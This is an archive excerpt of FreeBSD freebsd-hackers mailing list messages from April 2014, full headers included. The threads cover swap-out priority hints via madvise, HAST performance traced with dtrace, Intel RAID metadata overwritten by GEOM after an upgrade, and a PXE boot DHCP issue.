HrARI7JAfI0u7CYS6m2riMYR5ezJ7o5VHD6hn.LRe9Vhv7Av7NLQi5tk- Received: from [76.211.233.136] by web181701.mail.ne1.yahoo.com via HTTP; Fri, 25 Apr 2014 11:10:29 PDT X-Rocket-MIMEInfo: 002.001, SSBsb29rZWQgYXQgdGhlc2UgYnV0IHRoZXkgZG9uJ3QgcXVpdGUgbWF0Y2ggd2hhdCBJJ20gaG9waW5nIGZvci4gQmFzaWNhbGx5LCBpbiBvdXIgc3lzdGVtIHdlIHNvZnQgcGFydGl0aW9uIHRoZSBtZW1vcnkgYW1vbmcgYXBwbGljYXRpb25zIGJhc2VkIG9uIHRoZWlyIGV4cGVjdGVkIHVzYWdlLiBTb21ldGltZXMsIGFwcGxpY2F0aW9ucyBjYW4gY29uc3VtZSBiaXQgbW9yZSB0aGFuIGV4cGVjdGVkIGFuZCB3ZSBlbmQgdXAgc3dhcHBpbmcsIHdoaWNoIGlzIG9rYXkuIFNob3J0IG9mIG1sb2NrJ2luZyB0aGUBMAEBAQE- X-Mailer: YahooMailWebService/0.8.185.657 References: <1398200734.20818.YahooMailNeo@web181703.mail.ne1.yahoo.com> <3FE8172F-057E-426E-9981-67A77B7FC352@FreeBSD.org> Message-ID: <1398449429.94001.YahooMailNeo@web181701.mail.ne1.yahoo.com> Date: Fri, 25 Apr 2014 11:10:29 -0700 (PDT) From: Sushanth Rai Subject: Re: Priotizing pages to be swapped-out To: Wojciech Puchar , =?utf-8?B?RWR3YXJkIFRvbWFzeiBOYXBpZXJhxYJh?= In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Sushanth Rai List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Apr 2014 18:12:14 -0000 I looked at these but they don't quite match what I'm hoping for. Basically= , in our system we soft partition the memory among applications based on th= eir expected usage. Sometimes, applications can consume bit more than expec= ted and we end up swapping, which is okay. Short of mlock'ing the memory, I= was looking for a way where an application can advise the kernel that if i= t has to swap-out, consider these set of pages after everything else has be= en looked at. The hope is that some not-so-important application's pages ge= t swapped and that would meet the paging requirements with touching the pag= es of "privileged" application.=0A=0AThanks,=0ASushanth=0A=0A=0A=0A________= ________________________=0A From: Wojciech Puchar =0ATo: Edward Tomasz Napiera=C5=82a =0ACc: Susha= nth Rai ; "freebsd-hackers@freebsd.org" =0ASent: Friday, April 25, 2014 4:59 AM=0ASubject: Re: P= riotizing pages to be swapped-out=0A =0A=0AMADV_DONTNEED=0A=0Aas well as MA= DV_SEQUENTIAL=0A=0A=0A=0AOn Thu, 24 Apr 2014, Edward Tomasz Napiera=C5=82a = wrote:=0A=0A> Wiadomo=C5=9B=C4=87 napisana przez Sushanth Rai w dniu 22 kwi= 2014, o godz. 23:05:=0A>> Is there any mechanism for a privileged user app= lication to provide a hint to kernel to prioritize some user pages to be sw= apped-out later (after all the "lower" priority pages have been swapped-out= )=0A>=0A> See madvise(2), perhaps?=0A>=0A> ________________________________= _______________=0A> freebsd-hackers@freebsd.org mailing list=0A> http://lis= ts.freebsd.org/mailman/listinfo/freebsd-hackers=0A> To unsubscribe, send an= y mail to "freebsd-hackers-unsubscribe@freebsd.org"=0A>=0A> From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 26 10:30:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3A8EFE0C for ; Sat, 26 Apr 2014 10:30:34 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id D85891BB5 for ; Sat, 26 Apr 2014 10:30:33 +0000 (UTC) Received: from study64.tdx.co.uk (study64.tdx.co.uk [62.13.130.231]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s3QAUPqZ034471 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 26 Apr 2014 11:30:26 +0100 (BST) Date: Sat, 26 Apr 2014 11:30:25 +0100 From: Karl Pielorz To: freebsd-hackers@freebsd.org Subject: HAST performance / dtrace / _umtx_op Message-ID: X-Mailer: Mulberry/4.0.8 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 26 Apr 2014 10:30:34 -0000 Hi All, I've been looking at HAST recently - and noticed there's a huge performance hit (on 10-STABLE anyway) even if you setup a disk with a remote of 'none' - switching from the 'raw' disk to '/dev/hast/disk' shows a 50% performance hit [in testing having an active secondary via 10Gbit link doesn't seem to show any further performance drop]. Thinking of digging deeper I setup a single disk HAST system (with no remote node) and ran dtrace on the daemon handling that disk. I then DD'ed 1Gbyte of data to that disk. The output from dtrace shows: " Elapsed Times for PID 5219, SYSCALL TIME (ns) pread 4439902 pwrite 7617448542 ioctl 11370282332 sigtimedwait 20015976362 _umtx_op 36514993910 " To my untrained eye that looks like it spent more time on locking than anything else? - Followed by ioctl's - then, considerably less time on pread/pwrite (which must be the bit that's copying the data) Presumably the time spent in sigtimedwait would have actually been 'waiting' time - i.e. not active CPU usage kind of time? Does that seem to be the case? - At least then I'll hopefully have some pointer where to look further for why there's such a performance hit. Thanks, -Karl From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 26 11:29:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 940C3B64 for ; Sat, 26 Apr 2014 11:29:46 +0000 (UTC) Received: from mx1.stack.nl (relay02.stack.nl [IPv6:2001:610:1108:5010::104]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client CN "mailhost.stack.nl", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 583AC1181 for ; Sat, 26 Apr 2014 11:29:46 +0000 (UTC) Received: from snail.stack.nl (snail.stack.nl [IPv6:2001:610:1108:5010::131]) by mx1.stack.nl (Postfix) with ESMTP id 65456359307; Sat, 26 Apr 2014 13:29:43 +0200 (CEST) Received: by snail.stack.nl (Postfix, from userid 1677) id 460F528497; Sat, 26 Apr 2014 13:29:43 +0200 (CEST) Date: Sat, 26 Apr 2014 13:29:43 +0200 From: Jilles Tjoelker To: Karl Pielorz Subject: Re: HAST performance / dtrace / _umtx_op Message-ID: <20140426112943.GA81447@stack.nl> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 26 Apr 2014 11:29:46 -0000 On Sat, Apr 26, 2014 at 11:30:25AM +0100, Karl Pielorz wrote: > I've been looking at HAST recently - and noticed there's a huge > performance hit (on 10-STABLE anyway) even if you setup a disk with a > remote of 'none' - switching from the 'raw' disk to '/dev/hast/disk' > shows a 50% performance hit [in testing having an active secondary via > 10Gbit link doesn't seem to show any further performance drop]. > Thinking of digging deeper I setup a single disk HAST system (with no > remote node) and ran dtrace on the daemon handling that disk. I then > DD'ed 1Gbyte of data to that disk. > The output from dtrace shows: > " > Elapsed Times for PID 5219, > > SYSCALL TIME (ns) > pread 4439902 > pwrite 7617448542 > ioctl 11370282332 > sigtimedwait 20015976362 > _umtx_op 36514993910 > " > To my untrained eye that looks like it spent more time on locking than > anything else? - Followed by ioctl's - then, considerably less time on > pread/pwrite (which must be the bit that's copying the data) > Presumably the time spent in sigtimedwait would have actually been > 'waiting' time - i.e. not active CPU usage kind of time? > Does that seem to be the case? - At least then I'll hopefully have > some pointer where to look further for why there's such a performance > hit. _umtx_op implements blocking not only for mutexes but also for condition variables, and in the latter case waiting for a long time does not indicate a problem. -- Jilles Tjoelker From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 26 11:49:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DAEBAD27 for ; Sat, 26 Apr 2014 11:49:45 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 6851512D4 for ; Sat, 26 Apr 2014 11:49:45 +0000 (UTC) Received: from study64.tdx.co.uk (study64.tdx.co.uk [62.13.130.231]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s3QBnfsD041094 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 26 Apr 2014 12:49:42 +0100 (BST) Date: Sat, 26 Apr 2014 12:49:41 +0100 From: Karl Pielorz To: Jilles Tjoelker Subject: Re: HAST performance / dtrace / _umtx_op Message-ID: <055E8D8DCB6AC34FD6E7AB24@study64.tdx.co.uk> In-Reply-To: <20140426112943.GA81447@stack.nl> References: <20140426112943.GA81447@stack.nl> X-Mailer: Mulberry/4.0.8 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 26 Apr 2014 11:49:45 -0000 --On 26 April 2014 13:29:43 +0200 Jilles Tjoelker wrote: > _umtx_op implements blocking not only for mutexes but also for condition > variables, and in the latter case waiting for a long time does not > indicate a problem. Thanks for the info - I'll keep looking around, though it's looking like the cause is not going to be anything obvious/simple (to me, anyway :-) -Karl From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 28 11:22:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 77340135 for ; Mon, 28 Apr 2014 11:22:34 +0000 (UTC) Received: from plane.gmane.org (plane.gmane.org [80.91.229.3]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 2EDE11E44 for ; Mon, 28 Apr 2014 11:22:33 +0000 (UTC) Received: from list by plane.gmane.org with local (Exim 4.69) (envelope-from ) id 1Wejdk-0002ZV-Du for freebsd-hackers@freebsd.org; Mon, 28 Apr 2014 13:22:28 +0200 Received: from lara.cc.fer.hr ([161.53.72.113]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 28 Apr 2014 13:22:28 +0200 Received: from ivoras by lara.cc.fer.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 28 Apr 2014 13:22:28 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-hackers@freebsd.org From: Ivan Voras Subject: Re: HAST performance / dtrace / _umtx_op Date: Mon, 28 Apr 2014 13:22:10 +0200 Lines: 39 Message-ID: References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="io2xDFlROGTjil1jNup82J13rFswlJbPF" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: lara.cc.fer.hr User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 In-Reply-To: X-Enigmail-Version: 1.6 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 28 Apr 2014 11:22:34 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --io2xDFlROGTjil1jNup82J13rFswlJbPF Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On 26/04/2014 12:30, Karl Pielorz wrote: >=20 > Hi All, >=20 > I've been looking at HAST recently - and noticed there's a huge > performance hit (on 10-STABLE anyway) even if you setup a disk with a > remote of 'none' - switching from the 'raw' disk to '/dev/hast/disk' > shows a 50% performance hit [in testing having an active secondary via > 10Gbit link doesn't seem to show any further performance drop]. HAST is a GEOM_GATE solution so every IO request goes through a round-trip to the userland hastd process. This could be one of the reasons for the slowness. IIRC it is still async, so adding the second remote note would not slow it down additionally since it doesn't wait for the network request. --io2xDFlROGTjil1jNup82J13rFswlJbPF Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iKYEARECAGYFAlNeOeJfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl bnBncC5maWZ0aGhvcnNlbWFuLm5ldDYxNDE4MkQ3ODMwNDAwMDJFRUIzNDhFNUZE MDhENTA2M0RGRjFEMkMACgkQ/QjVBj3/HSwJoQCfQtmSL/5HoV1ddr2vUApow2tP 9QYAn3GByPXH09RaGK6U9c5blEWK2iPp =5K2q -----END PGP SIGNATURE----- --io2xDFlROGTjil1jNup82J13rFswlJbPF-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 29 18:49:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4C04574D for ; Tue, 29 Apr 2014 18:49:49 +0000 (UTC) Received: from tuur.schedom-europe.net (tuur.schedom-europe.net [193.109.184.94]) by mx1.freebsd.org (Postfix) with SMTP id A6479C11 for ; Tue, 29 Apr 2014 18:49:48 +0000 (UTC) Received: (qmail 29894 invoked by uid 507); 29 Apr 2014 20:43:05 +0200 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on tuur.schedom-europe.net X-Spam-Level: *********** X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99, FH_DATE_PAST_20XX, RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5 Received: from ip-83-101-50-26.customer.schedom-europe.net (HELO webmail.malavon.com) (83.101.50.26) by tuur.schedom-europe.net with SMTP; 29 Apr 2014 20:42:58 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit Date: Tue, 29 Apr 2014 18:42:56 +0000 From: Benny Goemans To: freebsd-hackers@freebsd.org Subject: Intel Matrix RAID metadata messed up by geom Message-ID: <517fc107499f1bf9d2076c700fa37aa7@webmail.malavon.com> X-Sender: benny.goemans@belgacom.net User-Agent: Roundcube Webmail/1.0.0 X-Mailman-Approved-At: Tue, 29 Apr 2014 18:51:59 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 29 Apr 2014 18:49:49 -0000 (I originally sent this to the geom mailinglist, but I assume that list isn't meant for user questions; I've also added some more info) Hi all, First some background: I'm running 2 rather big raid (well, software raid) arrays, one RAID 0 and one RAID 5. Up to now this didn't pose much problems, aside from the occasional rebuilding for which I needed to boot my fallback windows OS. I was happy with this, but since I'm lagging behind this much in version (8- will soon disappear) I assumed that I could at least try upgrading to 10 and see what happens. So, I did: * used freebsd-update to get updates, merge and install * rebooted into BSD 10 kernel * I see messages from GEOM passing by, noticing my raid arrays * I get warnings about read-only filesystems and I realise that geom doesn't support writing to ICH RAID 5 arrays (which I read when I wanted to upgrade to 9, but seemed to have forgotten) I figure, no harm done, I'll just boot a 8.4 disk and reinstall the kernel. So I reboot ... only to find out that my drives show up as INCOMPATIBLE in the ICH configuration utility. I'm assuming that GEOM decided to overwrite critical metadata with a version that my motherboard doesn't support. I never ran any geom tools, never saw a warning in the boot which would have prompted me to abort. It just did. So, I have two questions: 1a) isn't this a bug? I'm assuming that GEOM shouldn't at least overwrite metadata without allowing the user to abort, especially not with a newer version that might not be supported anymore 1b) does this also happen when booting the live cd? if it does, it doesn't feel right 2) is there anyone out there who can help me get this meta data back to a version my mainboard supports? I really need this system up and running again (as it's my main pc) without having to reinstall everything, which would take ages. I do have backups of most critical data, but I'd still like to have the non/less-critical data as well. Some extra info: mainboard: Asus P5WDG 2 WS, with latest (official) 0805 bios ICH: 5.1.2, ICH7R I can boot the system with a BSD 10 memdisk and access the data on the BSD partitions, so it's not gone. For the ntfs partitions I'm still looking for a solution, but as I said I'd rather get the system up and running again than try to backup everything that I need and rebuild. The risk that I'm forgetting something is simply too big. What I'm currently doing/trying: * backing up as much as I can * trying to find more information of the metadata written by geom or the ICH, without much luck ** I figure the changes won't be huge between what GEOM has written and what the original data was; if I find a datasheet I might try to fix it manually * figuring out a way to restore the correct metadata without trying to understand geom source code, as this is _way_ over my skill set; it would likely take years for me to figure it out * checking out unofficial bios'es for my mainboard that may or may not have a more recent ICH on board; last resort only though as these may put me off even worse (with no more access to these disks at all) Kind regards, Benny Goemans From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 29 20:00:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2E3616DB for ; Tue, 29 Apr 2014 20:00:09 +0000 (UTC) Received: from louis.schedom-europe.net (louis.schedom-europe.net [193.109.184.93]) by mx1.freebsd.org (Postfix) with SMTP id 908D113D6 for ; Tue, 29 Apr 2014 20:00:08 +0000 (UTC) Received: (qmail 31099 invoked by uid 507); 29 Apr 2014 21:53:26 +0200 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on louis.schedom-europe.net X-Spam-Level: *********** X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99, FH_DATE_PAST_20XX, RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5 Received: from ip-83-101-50-26.customer.schedom-europe.net (HELO webmail.malavon.com) (83.101.50.26) by louis.schedom-europe.net with SMTP; 29 Apr 2014 21:53:18 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit Date: Tue, 29 Apr 2014 19:53:18 +0000 From: Benny Goemans To: freebsd-hackers@freebsd.org Subject: Intel Matrix RAID metadata messed up by geom Message-ID: <2eaf47c4d979b94ae13d6a83c7169e73@webmail.malavon.com> X-Sender: benny.goemans@belgacom.net User-Agent: Roundcube Webmail/1.0.0 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 29 Apr 2014 20:00:09 -0000 (I originally sent this to the geom mailinglist, but I assume that list isn't meant for user questions; I've also added some more info) Hi all, First some background: I'm running 2 rather big raid (well, software raid) arrays, one RAID 0 and one RAID 5. Up to now this didn't pose much problems, aside from the occasional rebuilding for which I needed to boot my fallback windows OS. I was happy with this, but since I'm lagging behind this much in version (8- will soon disappear) I assumed that I could at least try upgrading to 10 and see what happens. So, I did: * used freebsd-update to get updates, merge and install * rebooted into BSD 10 kernel * I see messages from GEOM passing by, noticing my raid arrays * I get warnings about read-only filesystems and I realise that geom doesn't support writing to ICH RAID 5 arrays (which I read when I wanted to upgrade to 9, but seemed to have forgotten) I figure, no harm done, I'll just boot a 8.4 disk and reinstall the kernel. So I reboot ... only to find out that my drives show up as INCOMPATIBLE in the ICH configuration utility. I'm assuming that GEOM decided to overwrite critical metadata with a version that my motherboard doesn't support. I never ran any geom tools, never saw a warning in the boot which would have prompted me to abort. It just did. So, I have two questions: 1a) isn't this a bug? I'm assuming that GEOM shouldn't at least overwrite metadata without allowing the user to abort, especially not with a newer version that might not be supported anymore 1b) does this also happen when booting the live cd? if it does, it doesn't feel right 2) is there anyone out there who can help me get this meta data back to a version my mainboard supports? I really need this system up and running again (as it's my main pc) without having to reinstall everything, which would take ages. I do have backups of most critical data, but I'd still like to have the non/less-critical data as well. Some extra info: mainboard: Asus P5WDG 2 WS, with latest (official) 0805 bios ICH: 5.1.2, ICH7R I can boot the system with a BSD 10 memdisk and access the data on the BSD partitions, so it's not gone. For the ntfs partitions I'm still looking for a solution, but as I said I'd rather get the system up and running again than try to backup everything that I need and rebuild. The risk that I'm forgetting something is simply too big. What I'm currently doing/trying: * backing up as much as I can * trying to find more information of the metadata written by geom or the ICH, without much luck ** I figure the changes won't be huge between what GEOM has written and what the original data was; if I find a datasheet I might try to fix it manually * figuring out a way to restore the correct metadata without trying to understand geom source code, as this is _way_ over my skill set; it would likely take years for me to figure it out * checking out unofficial bios'es for my mainboard that may or may not have a more recent ICH on board; last resort only though as these may put me off even worse (with no more access to these disks at all) Kind regards, Benny Goemans From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 30 08:10:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5F96E5FB for ; Wed, 30 Apr 2014 08:10:09 +0000 (UTC) Received: from mail-pa0-x231.google.com (mail-pa0-x231.google.com [IPv6:2607:f8b0:400e:c03::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 3AA561DE6 for ; Wed, 30 Apr 2014 08:10:09 +0000 (UTC) Received: by mail-pa0-f49.google.com with SMTP id kq14so1597472pab.36 for ; Wed, 30 Apr 2014 01:10:08 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=StDMbUdubMCJoPjsBypja82zk0OJgS8S1ck7UU1hp3A=; b=Fdll8aiYvHIa7fah4gtoOQR8vyyaH4AfAzkZuHvvnjoNH+VhymwLn+KJnDB52wI4rk +W0D8HINNvC5ERo8oC9mbknDXiCuL2Y6PeMk4OgHVMueC2wsr/jupc/0/UkktGNS2OJy pNE+0ckgyzKXpUDpBBQ3qIWe3xR8X+Tdzex7w/H1oHuj0BPUzM3PKKOJQTilbyufAsJU pdA18blMKUCIwBXnDshMT0A8nbL1wv71beOuJIDMMYQ3hwfKmU0KyAd2Ju/cFK5eNQsX cTjNb85dcC/Z9bVUzdZkIMh5tczXx8mRs5fvT5oVlxxR4+wsqObO8rpI7hKsahTdHqKB e4GA== MIME-Version: 1.0 X-Received: by 10.67.22.105 with SMTP id hr9mr5805213pad.57.1398845407986; Wed, 30 Apr 2014 01:10:07 -0700 (PDT) Received: by 10.70.89.33 with HTTP; Wed, 30 Apr 2014 01:10:07 -0700 (PDT) Date: Wed, 30 Apr 2014 10:10:07 +0200 Message-ID: Subject: vm+ipxe+pxeboot fail From: amine tay To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 Apr 2014 08:10:09 -0000 Hi everyone, Lately I had some problems, trying to get FreeBSD to PXE boot. (Actually I'm using a VMware virtual machine.) First I'm using iPXE 1.0.0 and then load and launch the FreeBSD pxeboot loader. But I'm getting this : http://forums.freebsd.org/viewtopic.php?f=4&t=45901 When using isc-dhcp as DHCP server I'm getting the error but when using dnsmasq everything works fine. The problem seems that the client when booting is sending 2 DHCP requests and therefore gets two different IP addresses, the first one sent by the ROM and the second one by the FreeBSD pxebootloader. I found somewhere in some posts that the pxe.c file is doing a second bootprequest because it fails to get cached DHCP data from the ROM. Any help or more ideas would be appreciated. From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 30 13:23:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2BCC8DF3 for ; Wed, 30 Apr 2014 13:23:25 +0000 (UTC) Received: from mail-ie0-f174.google.com (mail-ie0-f174.google.com [209.85.223.174]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id EA8DE119F for ; Wed, 30 Apr 2014 13:23:24 +0000 (UTC) Received: by mail-ie0-f174.google.com with SMTP id ar20so1798417iec.5 for ; Wed, 30 Apr 2014 06:23:14 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=Btgx1mNiQwCVYWTaMhNJ2L1gAMt5Q3IgcyziNoT4g68=; b=KWApnWidS6m/Z+ynloe2tlo3crVONP7uIBUESknAQpmyY9fqmjBveEsLvPl6VEEmqt ViMd7K8L9dtVoHpXnhNsgX3OTvtk7sfld/oaAgERQ3C1WBI5dyahj0RTx32kHaRyUb1+ dZEaCz2vHI1r1DdEaXCtW0wTsxJoEQDvkjq26Jr3JhDGTNdzQapcpmDlAC4F3gBS2qld VeSISn7pwLKazhzR8QHkQpDEiGHx/EW+Y2cFv47bDsonwlWkt3amPcVwuzMR6+nYyCDJ bAhPGJFoOU46x6BHl+eLPiI6TppqZLfcydZofXBKAYnzUIqRTsHx6J57vWBLshrcuEez LyJA== X-Gm-Message-State: ALoCoQkbSER7nx6dcOjO2nAdtQjtl3saccW1AanoMg8MhrSRWDLV3rEaQNydy0lPMrbPUXObOhwN X-Received: by 10.50.22.210 with SMTP id g18mr38008660igf.19.1398864193598; Wed, 30 Apr 2014 06:23:13 -0700 (PDT) Received: from [97.10.94.0] (0.sub-97-10-94.myvzw.com. [97.10.94.0]) by mx.google.com with ESMTPSA id hx10sm5772637igb.12.2014.04.30.06.22.50 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 30 Apr 2014 06:23:12 -0700 (PDT) References: Mime-Version: 1.0 (1.0) In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: X-Mailer: iPhone Mail (11D201) From: Mark Saad Subject: Re: vm+ipxe+pxeboot fail Date: Wed, 30 Apr 2014 09:22:24 -0400 To: amine tay Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 Apr 2014 13:23:25 -0000 > On Apr 30, 2014, at 4:10 AM, amine tay wrote: >=20 > Hi everyone, >=20 > Lately I had some problems, trying to get FreeBSD to PXE boot. (Actually > I'm using a VMware virtual machine.) First I'm using iPXE 1.0.0 and then > load and launch the FreeBSD pxeboot > loader. But I'm getting this : > http://forums.freebsd.org/viewtopic.php?f=3D4&t=3D45901 > When using isc-dhcp as DHCP server I'm getting the error but when using > dnsmasq everything works fine. >=20 > The problem seems that the client when booting is sending 2 DHCP requests > and therefore gets two different IP addresses, the first one sent by the > ROM and the second one by the FreeBSD > pxebootloader. >=20 > I found somewhere in some posts that the pxe.c file is doing a second > bootprequest because it fails to get cached DHCP data from the ROM. >=20 > Any help or more ideas would be appreciated. It looked like you either do not have options rootpath set in dhcpd.conf , e= tc/exports is mis configured , the nfs server is disabled or if you have loa= der built with tftp support you do not have a tftp server setup / running .=20= Can you sent the dhcpd.conf the exports file off the server ? Mark saad | mark.saad@longcount.org=20 > _______________________________________________ > freebsd-hackers@freebsd.org 